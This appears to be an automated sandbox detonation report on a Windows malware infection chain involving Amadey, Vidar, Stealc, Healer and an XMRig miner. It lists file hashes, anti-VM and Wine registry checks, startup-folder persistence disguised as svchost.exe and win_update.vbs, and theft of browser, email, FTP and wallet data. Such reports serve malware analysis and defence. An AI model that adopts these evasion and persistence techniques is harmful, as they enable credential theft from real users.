SHA512 467559eb2ada21818816f4713501ee944694875b57ccd721d92b5507f6fcaf1020ffcb1bbc5f41264f6d777701a1e4607ae06277d74fc4e1e0d4477b5b433da0

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\System Profile\shared_proto_db\metadata\000036.dbtmp

MD5 3bfae29547a46de41409c412f6261bc2
SHA1 3dd8317320e9dfefb0893ec4bcda0998d98f28ed
SHA256 7aa2c6f4da8ee456f65b8594b2ecda649d2f8a0aa921953c3391b4e19417b3ea
SHA512 aa881ce6b507ed5ae18c4b3d017b1ef76b7cc9bcaad2314613b0d5fbd4313084c131c98dac5f7935ce43ed21abd13ccfacf901f020a5011f478752e52a30cc8b

C:\Users\Admin\AppData\Local\Temp\10110480101\ad04a984dc.exe

MD5 29ae5fe126cd47f4afd6f85a0fbe80f4
SHA1 fec2574d7897dbb044daa0bd880eeef005d0a453
SHA256 2577c7f0bda4e6b51a5055d1d5cb5cf6ff524f1c6691cf895d9aa468813012ac
SHA512 9c3380a45b8686e86e74726c86467aa5d9331766f77b8c376c048faa7d20477f017870d74e501022a3b4c1a9d416d303dd27bdf2f22bf3b73d7edd284b67fbdf

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State\000027.dbtmp

MD5 1499571836189b80bb3138a553dbd79a
SHA1 0dd089f5bf96fce471fcf816cf4ccb3f649aba93
SHA256 306d61aa07213eb5ff589100ad05aedf9b844bccec89d638b94259494e54d751
SHA512 180736b2d7e152d67ede392a070d8db18d8fd5422b80569b09914d46fc62ab04832cc3e567e9718e6e0e248e23e2c277688fdbee48c67bd994e37c0093adcfef

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000037.dbtmp

MD5 0f0bda64d7ffde92514bd674ba6206c0
SHA1 5377a9ea7d83a747b8f7c7a26b50bab7d4edf6af
SHA256 1dd4ef35538bc30890f82abb0fe428f97b84d36e838cd5f9be24ec93839f767f
SHA512 330adb737500daf3cfea4749b2bed0c8bcea6e84be97ffe813ff02740b1cea2997e5aebbf38a112bdc4c5de4f4e09ce269cc5203b46f33ac1686ef1671d1423a

C:\ProgramData\cj58q\cjmy58

MD5 b671bdd555b02ee6b2df2e22fbca942e
SHA1 90b9a8a8c6f84401e72e9439bf7be295a841865a
SHA256 effb4dac6a88936850c896817fe179b21facc3d706e705ad468ac4da2f4f3866
SHA512 4c0f4f32302ad2f5d00448f917e2e991f0ff7e0e25934c208f7dcec59fd963737f39d6e3a61c8b961a98b203a22c2fe49a207b8cf8629e16dd3a688a1f92c881

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\o97f221x.default-release\datareporting\glean\db\data.safe.bin

MD5 10edf28039b9745d6da279e514a8d158
SHA1 7db4140db28ad478fb9614303768e72c5f1d03fe
SHA256 690a9000c6f0be735db508b7e2b9884e6d4db09780cb3b23c7afbdfd6b4f44cf
SHA512 a5c2abce67595e3515a9e8048b5b2f50d2bd51bf0de70f80c13868723b1b9721ea1be8356f06872b088ed8c5cd451c5ce4043347282a6fbcc98edcdc38250781

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\o97f221x.default-release\datareporting\glean\pending_pings\90d6a7aa-14eb-44d7-b484-3e379592533e

MD5 262a574f25b9141db97af9915d5be6b5
SHA1 5aed675da187762fcdf9afe530a4abb5968ee680
SHA256 5393ad7e79a410f4a2a4256b6975240abc4e4d950b2d2bb603611b51e55c5e92
SHA512 fcf03319810312fbf18af5e710ee46c3a3828d16d336bbd4cdcc844fc53b9232c0eb61d52a352efd03c902c312dbf11b85f7a3a8dffeaee0f4e048bbefc242a9

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\o97f221x.default-release\datareporting\glean\pending_pings\5710afc7-5ff0-4152-b403-21514f5016a8

MD5 23d7203ef162985d234f926790dfdd53
SHA1 e113770033be9ed9d8ea9e50d4a10b923b46dce4
SHA256 f329d23aab324ef4937f55a6cc7f9c93551411c861e81d98b3c83d827217c23c
SHA512 9a6a9541c1a7ee5d621f26a597012300c6e4055ddc5eebe43a92273f4812a779fb45662d1eee6c4ba1d4f35cbc2515ab33962bd0704abe596316353492b0afc4

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\o97f221x.default-release\activity-stream.discovery_stream.json.tmp

MD5 e895d8c10a5e0e9995fa0a6f0913af50
SHA1 56f87ffd2219252a8eae0386577e55ffb314fd5e
SHA256 f96558461023b6e6e5fffc6ce30dc37f50a3919b96de6e7ef0f4496277c2318a
SHA512 23a03e10898c7273f0e46435498fbdf451afb8a84b043d7766e7471fc51232e02e16513930b0dd21410c39e381773a21253fb266a6a939b80c135b052e284a46

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\o97f221x.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl

MD5 96c542dec016d9ec1ecc4dddfcbaac66
SHA1 6199f7648bb744efa58acf7b96fee85d938389e4
SHA256 7f32769d6bb4e875f58ceb9e2fbfdc9bd6b82397eca7a4c5230b0786e68f1798
SHA512 cda2f159c3565bc636e0523c893b293109de2717142871b1ec78f335c12bad96fc3f62bcf56a1a88abdeed2ac3f3e5e9a008b45e24d713e13c23103acc15e658

C:\Users\Admin\AppData\Local\Temp\10110490101\c7ac40f2bf.exe

MD5 71dbf8378b145e1c0c6d161b55be67bf
SHA1 7ffc3a235a690257128ef00bcfc67afb74aaa530
SHA256 e58f6d23ddcd37b07799291b9dacb09a270526da8ad1119555d67d5892410f5b
SHA512 165a3a9be72018d0895b772d19a2b6baa16881d6f894c704113f99aaf93fcad421c8aab78da54043b48416c6e783d69dc52c78a07da655f39ccb25d5c6f50682

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\o97f221x.default-release\prefs-1.js

MD5 7168cf407de28e78bc5971a67acaee5c
SHA1 a569316ce81d3abe91b6dc5ceadb38a87d5dfe9e
SHA256 d5963286344a3a2566471f39d2408d031db33deca4604f04c23e6420805159b8
SHA512 7f8c67e2b36f7fe2c7a66ac707c34acb534be882c538c04cb6b6773bce2ffbd1754b08efc86d7948fe25fc7f96ae5b6f359eff83fabf6ddd3338493430b83d5c

memory/4068-3073-0x0000000001190000-0x00000000015EC000-memory.dmp

memory/4068-3074-0x0000000001190000-0x00000000015EC000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\10110500101\0267726553.exe

MD5 e7b0c4c8f5ae60095b01cf01aba7810a
SHA1 1b3057d010d99d7630c5fffa933ee98420a809c5
SHA256 7e6fda01791cdbd22d3352856d42d7e61ae76d365df0071bc57cf39ea0517885
SHA512 c57e12f095b367bf43a1c2ded9b15120a320ebe1d7d845165e82557adb7e5f567f5b039d388b01f94bcb270acbccfd5c65c12949a1f1e90ed53206bfc76847c6

Analysis: behavioral2

Detonation Overview

Submitted

2025-03-06 05:02

Reported

2025-03-06 05:05

Platform

win10v2004-20250217-en

Max time kernel

121s

Max time network

151s

Command Line

C:\Windows\Explorer.EXE

Signatures

Amadey

trojan amadey

Amadey family

amadey

Detect Vidar Stealer

stealer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects Healer an antivirus disabler dropper

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Healer

dropper healer

Healer family

healer

Stealc

stealer stealc

Stealc family

stealc

Vidar

stealer vidar

Vidar family

vidar

Xmrig family

xmrig

xmrig

miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM)

defense_evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110460101\4f38749964.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110470101\a4351ba7b1.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110420101\63b4bc7f30.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110440101\04fdd764f9.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\TempFPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110450101\46cbb53831.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\BGJ28V9RAH6PNAXACVV4S9MSBD.exe N/A

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Downloads MZ/PE file

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe N/A
N/A N/A C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110460101\4f38749964.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Uses browser remote debugging

credential_access stealer
Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110420101\63b4bc7f30.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110440101\04fdd764f9.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110460101\4f38749964.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\TempFPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110470101\a4351ba7b1.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\BGJ28V9RAH6PNAXACVV4S9MSBD.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110450101\46cbb53831.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110450101\46cbb53831.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\BGJ28V9RAH6PNAXACVV4S9MSBD.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\TempFPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110440101\04fdd764f9.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110470101\a4351ba7b1.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110460101\4f38749964.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110420101\63b4bc7f30.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
Key value queried \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A

Drops startup file

Description Indicator Process Target
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win_update.vbs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110390101\086de54246.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\TempFPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110420101\63b4bc7f30.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110430101\5bdfa24bab.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110430101\5bdfa24bab.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110430101\5bdfa24bab.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110440101\04fdd764f9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110450101\46cbb53831.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110460101\4f38749964.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110470101\a4351ba7b1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BGJ28V9RAH6PNAXACVV4S9MSBD.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110480101\6baf3702c9.exe N/A

Identifies Wine through registry keys

defense_evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine C:\Users\Admin\AppData\Local\TempFPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE N/A
Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110420101\63b4bc7f30.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\BGJ28V9RAH6PNAXACVV4S9MSBD.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110470101\a4351ba7b1.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110440101\04fdd764f9.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110450101\46cbb53831.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110460101\4f38749964.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of local email clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

